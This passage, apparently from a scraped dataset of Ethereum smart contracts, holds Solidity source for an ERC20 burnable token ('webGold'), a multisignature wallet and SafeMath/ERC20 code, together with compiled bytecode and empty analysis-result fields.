* @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Standard Burnable Token * @dev Adds burnFrom method to ERC20 implementations */ contract StandardBurnableToken is BurnableToken, StandardToken { /** * @dev Burns a specific amount of tokens from the target address and decrements allowance * @param _from address The address which you want to send tokens from * @param _value uint256 The amount of token to be burned */ function burnFrom(address _from, uint256 _value) public { require(_value <= allowed[_from][msg.sender]); // Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted, // this function needs to emit an event with the updated approval. allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); _burn(_from, _value); } } contract WgdToken is StandardBurnableToken { string public constant name = "webGold"; string public constant symbol = "WGD"; uint8 public constant decimals = 18; uint256 constant TOTAL = 387500000000000000000000000; constructor() public { balances[msg.sender] = TOTAL; totalSupply_ = TOTAL; emit Transfer(address(0), msg.sender, TOTAL); } }
0x6080604052600436106100c45763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100c9578063095ea7b31461015357806318160ddd1461018b57806323b872dd146101b2578063313ce567146101dc57806342966c6814610207578063661884631461022157806370a082311461024557806379cc67901461026657806395d89b411461028a578063a9059cbb1461029f578063d73dd623146102c3578063dd62ed3e146102e7575b600080fd5b3480156100d557600080fd5b506100de61030e565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610118578181015183820152602001610100565b50505050905090810190601f1680156101455780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015f57600080fd5b50610177600160a060020a0360043516602435610345565b604080519115158252519081900360200190f35b34801561019757600080fd5b506101a06103ab565b60408051918252519081900360200190f35b3480156101be57600080fd5b50610177600160a060020a03600435811690602435166044356103b1565b3480156101e857600080fd5b506101f1610528565b6040805160ff9092168252519081900360200190f35b34801561021357600080fd5b5061021f60043561052d565b005b34801561022d57600080fd5b50610177600160a060020a036004351660243561053a565b34801561025157600080fd5b506101a0600160a060020a036004351661062a565b34801561027257600080fd5b5061021f600160a060020a0360043516602435610645565b34801561029657600080fd5b506100de6106db565b3480156102ab57600080fd5b50610177600160a060020a0360043516602435610712565b3480156102cf57600080fd5b50610177600160a060020a03600435166024356107f3565b3480156102f357600080fd5b506101a0600160a060020a036004358116906024351661088c565b60408051808201909152600781527f776562476f6c6400000000000000000000000000000000000000000000000000602082015281565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60015490565b6000600160a060020a03831615156103c857600080fd5b600160a060020a0384166000908152602081905260409020548211156103ed57600080fd5b600160a060020a038416600090815260026020908152604080832033845290915290205482111561041d57600080fd5b600160a060020a038416600090815260208190526040902054610446908363ffffffff6108b716565b600160a060020a03808616600090815260208190526040808220939093559085168152205461047b908363ffffffff6108c916565b600160a060020a038085166000908152602081815260408083209490945591871681526002825282812033825290915220546104bd908363ffffffff6108b716565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b601281565b61053733826108dc565b50565b336000908152600260209081526040808320600160a060020a03861684529091528120548083111561058f57336000908152600260209081526040808320600160a060020a03881684529091528120556105c4565b61059f818463ffffffff6108b716565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b600160a060020a038216600090815260026020908152604080832033845290915290205481111561067557600080fd5b600160a060020a03821660009081526002602090815260408083203384529091529020546106a9908263ffffffff6108b716565b600160a060020a03831660009081526002602090815260408083203384529091529020556106d782826108dc565b5050565b60408051808201909152600381527f5747440000000000000000000000000000000000000000000000000000000000602082015281565b6000600160a060020a038316151561072957600080fd5b3360009081526020819052604090205482111561074557600080fd5b33600090815260208190526040902054610765908363ffffffff6108b716565b3360009081526020819052604080822092909255600160a060020a03851681522054610797908363ffffffff6108c916565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a0386168452909152812054610827908363ffffffff6108c916565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b6000828211156108c357fe5b50900390565b818101828110156108d657fe5b92915050565b600160a060020a03821660009081526020819052604090205481111561090157600080fd5b600160a060020a03821660009081526020819052604090205461092a908263ffffffff6108b716565b600160a060020a038316600090815260208190526040902055600154610956908263ffffffff6108b716565b600155604080518281529051600160a060020a038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a2604080518281529051600091600160a060020a038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350505600a165627a7a72305820a1ee134f34f209094787dfe34f804dab855bd65d53c3f444113f287dde78dea60029
{"success": true, "error": null, "results": {}}
595
0x606af0bd4501855914b50e2672c5926b896737ef
pragma solidity 0.4.10; /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <<span class="__cf_email__" data-cfemail="0271766764636c2c65676d70656742616d6c71676c717b712c6c6776">[email&#160;protected]</span>> contract MultiSigWallet { uint constant public MAX_OWNER_COUNT = 50; event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } modifier onlyWallet() { if (msg.sender != address(this)) throw; _; } modifier ownerDoesNotExist(address owner) { if (isOwner[owner]) throw; _; } modifier ownerExists(address owner) { if (!isOwner[owner]) throw; _; } modifier transactionExists(uint transactionId) { if (transactions[transactionId].destination == 0) throw; _; } modifier confirmed(uint transactionId, address owner) { if (!confirmations[transactionId][owner]) throw; _; } modifier notConfirmed(uint transactionId, address owner) { if (confirmations[transactionId][owner]) throw; _; } modifier notExecuted(uint transactionId) { if (transactions[transactionId].executed) throw; _; } modifier notNull(address _address) { if (_address == 0) throw; _; } modifier validRequirement(uint ownerCount, uint _required) { if ( ownerCount > MAX_OWNER_COUNT || _required > ownerCount || _required == 0 || ownerCount == 0) throw; _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { if (isOwner[_owners[i]] || _owners[i] == 0) throw; isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i<owners.length - 1; i++) if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } owners.length -= 1; if (required > owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param owner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i<owners.length; i++) if (owners[i] == owner) { owners[i] = newOwner; break; } isOwner[owner] = false; isOwner[newOwner] = true; OwnerRemoval(owner); OwnerAddition(newOwner); } /// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet. /// @param _required Number of required confirmations. function changeRequirement(uint _required) public onlyWallet validRequirement(owners.length, _required) { required = _required; RequirementChange(_required); } /// @dev Allows an owner to submit and confirm a transaction. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function submitTransaction(address destination, uint value, bytes data) public returns (uint transactionId) { transactionId = addTransaction(destination, value, data); confirmTransaction(transactionId); } /// @dev Allows an owner to confirm a transaction. /// @param transactionId Transaction ID. function confirmTransaction(uint transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } /// @dev Allows an owner to revoke a confirmation for a transaction. /// @param transactionId Transaction ID. function revokeConfirmation(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; Revocation(msg.sender, transactionId); } /// @dev Allows anyone to execute a confirmed transaction. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction tx = transactions[transactionId]; tx.executed = true; if (tx.destination.call.value(tx.value)(tx.data)) Execution(transactionId); else { ExecutionFailure(transactionId); tx.executed = false; } } } /// @dev Returns the confirmation status of a transaction. /// @param transactionId Transaction ID. /// @return Confirmation status. function isConfirmed(uint transactionId) public constant returns (bool) { uint count = 0; for (uint i=0; i<owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; if (count == required) return true; } } /* * Internal functions */ /// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function addTransaction(address destination, uint value, bytes data) internal notNull(destination) returns (uint transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({ destination: destination, value: value, data: data, executed: false }); transactionCount += 1; Submission(transactionId); } /* * Web3 call functions */ /// @dev Returns number of confirmations of a transaction. /// @param transactionId Transaction ID. /// @return Number of confirmations. function getConfirmationCount(uint transactionId) public constant returns (uint count) { for (uint i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) count += 1; } /// @dev Returns total number of transactions after filers are applied. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Total number of transactions after filters are applied. function getTransactionCount(bool pending, bool executed) public constant returns (uint count) { for (uint i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) count += 1; } /// @dev Returns list of owners. /// @return List of owner addresses. function getOwners() public constant returns (address[]) { return owners; } /// @dev Returns array with owner addresses, which confirmed transaction. /// @param transactionId Transaction ID. /// @return Returns array of owner addresses. function getConfirmations(uint transactionId) public constant returns (address[] _confirmations) { address[] memory confirmationsTemp = new address[](owners.length); uint count = 0; uint i; for (i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } _confirmations = new address[](count); for (i=0; i<count; i++) _confirmations[i] = confirmationsTemp[i]; } /// @dev Returns list of transaction IDs in defined range. /// @param from Index start position of transaction array. /// @param to Index end position of transaction array. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Returns array of transaction IDs. function getTransactionIds(uint from, uint to, bool pending, bool executed) public constant returns (uint[] _transactionIds) { uint[] memory transactionIdsTemp = new uint[](transactionCount); uint count = 0; uint i; for (i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) { transactionIdsTemp[count] = i; count += 1; } _transactionIds = new uint[](to - from); for (i=from; i<to; i++) _transactionIds[i - from] = transactionIdsTemp[i]; } }
0x6060604052361561011b576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063025e7c271461017c578063173825d9146101dc57806320ea8d86146102125780632f54bf6e146102325780633411c81c1461028057806354741525146102d75780637065cb4814610318578063784547a71461034e5780638b51d13f146103865780639ace38c2146103ba578063a0e67e2b146104b5578063a8abe69a1461052a578063b5dc40c3146105cc578063b77bf6001461064f578063ba51a6df14610675578063c01a8c8414610695578063c6427474146106b5578063d74f8edd1461074b578063dc8452cd14610771578063e20056e614610797578063ee22610b146107ec575b61017a5b6000341115610177573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b5b565b005b341561018457fe5b61019a600480803590602001909190505061080c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156101e457fe5b610210600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061084c565b005b341561021a57fe5b6102306004808035906020019091905050610af4565b005b341561023a57fe5b610266600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ca5565b604051808215151515815260200191505060405180910390f35b341561028857fe5b6102bd600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610cc5565b604051808215151515815260200191505060405180910390f35b34156102df57fe5b610302600480803515159060200190919080351515906020019091905050610cf4565b6040518082815260200191505060405180910390f35b341561032057fe5b61034c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d8b565b005b341561035657fe5b61036c6004808035906020019091905050610f8e565b604051808215151515815260200191505060405180910390f35b341561038e57fe5b6103a46004808035906020019091905050611078565b6040518082815260200191505060405180910390f35b34156103c257fe5b6103d86004808035906020019091905050611148565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200180602001831515151581526020018281038252848181546001816001161561010002031660029004815260200191508054600181600116156101000203166002900480156104a35780601f10610478576101008083540402835291602001916104a3565b820191906000526020600020905b81548152906001019060200180831161048657829003601f168201915b50509550505050505060405180910390f35b34156104bd57fe5b6104c56111a4565b6040518080602001828103825283818151815260200191508051906020019060200280838360008314610517575b805182526020831115610517576020820191506020810190506020830392506104f3565b5050509050019250505060405180910390f35b341561053257fe5b610567600480803590602001909190803590602001909190803515159060200190919080351515906020019091905050611239565b60405180806020018281038252838181518152602001915080519060200190602002808383600083146105b9575b8051825260208311156105b957602082019150602081019050602083039250610595565b5050509050019250505060405180910390f35b34156105d457fe5b6105ea600480803590602001909190505061139d565b604051808060200182810382528381815181526020019150805190602001906020028083836000831461063c575b80518252602083111561063c57602082019150602081019050602083039250610618565b5050509050019250505060405180910390f35b341561065757fe5b61065f6115cf565b6040518082815260200191505060405180910390f35b341561067d57fe5b61069360048080359060200190919050506115d5565b005b341561069d57fe5b6106b3600480803590602001909190505061168c565b005b34156106bd57fe5b610735600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611871565b6040518082815260200191505060405180910390f35b341561075357fe5b61075b611891565b6040518082815260200191505060405180910390f35b341561077957fe5b610781611896565b6040518082815260200191505060405180910390f35b341561079f57fe5b6107ea600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061189c565b005b34156107f457fe5b61080a6004808035906020019091905050611bc1565b005b60038181548110151561081b57fe5b906000526020600020900160005b915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108895760006000fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156108e35760006000fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600091505b600160038054905003821015610a6f578273ffffffffffffffffffffffffffffffffffffffff1660038381548110151561097657fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610a615760036001600380549050038154811015156109d657fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600383815481101515610a1257fe5b906000526020600020900160005b6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610a6f565b5b8180600101925050610940565b6001600381818054905003915081610a879190611edd565b506003805490506004541115610aa657610aa56003805490506115d5565b5b8273ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405180905060405180910390a25b5b505b5050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610b4e5760006000fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610bba5760006000fd5b836000600082815260200190815260200160002060030160009054906101000a900460ff1615610bea5760006000fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405180905060405180910390a35b5b505b50505b5050565b60026020528060005260406000206000915054906101000a900460ff1681565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b60006000600090505b600554811015610d8357838015610d3557506000600082815260200190815260200160002060030160009054906101000a900460ff16155b80610d695750828015610d6857506000600082815260200190815260200160002060030160009054906101000a900460ff165b5b15610d75576001820191505b5b8080600101915050610cfd565b5b5092915050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610dc65760006000fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610e1f5760006000fd5b8160008173ffffffffffffffffffffffffffffffffffffffff161415610e455760006000fd5b6001600380549050016004546032821180610e5f57508181115b80610e6a5750600081145b80610e755750600082145b15610e805760006000fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060038054806001018281610eec9190611f09565b916000526020600020900160005b87909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405180905060405180910390a25b5b50505b505b505b50565b60006000600060009150600090505b60038054905081101561107057600160008581526020019081526020016000206000600383815481101515610fce57fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561104f576001820191505b6004548214156110625760019250611071565b5b8080600101915050610f9d565b5b5050919050565b60006000600090505b600380549050811015611141576001600084815260200190815260200160002060006003838154811015156110b257fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611133576001820191505b5b8080600101915050611081565b5b50919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169080600101549080600201908060030160009054906101000a900460ff16905084565b6111ac611f35565b600380548060200260200160405190810160405280929190818152602001828054801561122e57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190600101908083116111e4575b505050505090505b90565b611241611f49565b611249611f49565b6000600060055460405180591061125d5750595b908082528060200260200182016040525b50925060009150600090505b60055481101561131d578580156112b257506000600082815260200190815260200160002060030160009054906101000a900460ff16155b806112e657508480156112e557506000600082815260200190815260200160002060030160009054906101000a900460ff165b5b1561130f578083838151811015156112fa57fe5b90602001906020020181815250506001820191505b5b808060010191505061127a565b87870360405180591061132d5750595b908082528060200260200182016040525b5093508790505b8681101561139157828181518110151561135b57fe5b906020019060200201518489830381518110151561137557fe5b90602001906020020181815250505b8080600101915050611345565b5b505050949350505050565b6113a5611f35565b6113ad611f35565b600060006003805490506040518059106113c45750595b908082528060200260200182016040525b50925060009150600090505b6003805490508110156115275760016000868152602001908152602001600020600060038381548110151561141257fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156115195760038181548110151561149b57fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683838151811015156114d657fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b5b80806001019150506113e1565b816040518059106115355750595b908082528060200260200182016040525b509350600090505b818110156115c657828181518110151561156457fe5b90602001906020020151848281518110151561157c57fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250505b808060010191505061154e565b5b505050919050565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156116105760006000fd5b60038054905081603282118061162557508181115b806116305750600081145b8061163b5750600082145b156116465760006000fd5b826004819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a15b5b50505b50565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156116e65760006000fd5b8160006000600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156117425760006000fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156117ad5760006000fd5b60016001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405180905060405180910390a361186685611bc1565b5b5b50505b505b5050565b600061187e848484611d86565b90506118898161168c565b5b9392505050565b603281565b60045481565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118d95760006000fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156119335760006000fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561198c5760006000fd5b600092505b600380549050831015611a7a578473ffffffffffffffffffffffffffffffffffffffff166003848154811015156119c457fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611a6c5783600384815481101515611a1d57fe5b906000526020600020900160005b6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611a7a565b5b8280600101935050611991565b6000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405180905060405180910390a28373ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405180905060405180910390a25b5b505b505b505050565b6000816000600082815260200190815260200160002060030160009054906101000a900460ff1615611bf35760006000fd5b611bfc83610f8e565b15611d7f5760006000848152602001908152602001600020915060018260030160006101000a81548160ff0219169083151502179055508160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168260010154836002016040518082805460018160011615610100020316600290048015611cdc5780601f10611cb157610100808354040283529160200191611cdc565b820191906000526020600020905b815481529060010190602001808311611cbf57829003601f168201915b505091505060006040518083038185876185025a03f19250505015611d3057827f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405180905060405180910390a2611d7e565b827f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405180905060405180910390a260008260030160006101000a81548160ff0219169083151502179055505b5b5b5b505050565b60008360008173ffffffffffffffffffffffffffffffffffffffff161415611dae5760006000fd5b60055491506080604051908101604052808673ffffffffffffffffffffffffffffffffffffffff168152602001858152602001848152602001600015158152506000600084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101556040820151816002019080519060200190611e6e929190611f5d565b5060608201518160030160006101000a81548160ff0219169083151502179055509050506001600560008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405180905060405180910390a25b5b509392505050565b815481835581811511611f0457818360005260206000209182019101611f039190611fdd565b5b505050565b815481835581811511611f3057818360005260206000209182019101611f2f9190611fdd565b5b505050565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611f9e57805160ff1916838001178555611fcc565b82800160010185558215611fcc579182015b82811115611fcb578251825591602001919060010190611fb0565b5b509050611fd99190611fdd565b5090565b611fff91905b80821115611ffb576000816000905550600101611fe3565b5090565b905600a165627a7a723058207fc566085fc93f1499d634b68338072f4033a33775e2b525cfac76808aae3cb80029
{"success": true, "error": null, "results": {}}
596
0x1734ce4940d6d53ffc3ccd2bcac9cb418212d249
pragma solidity ^0.5.2; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic 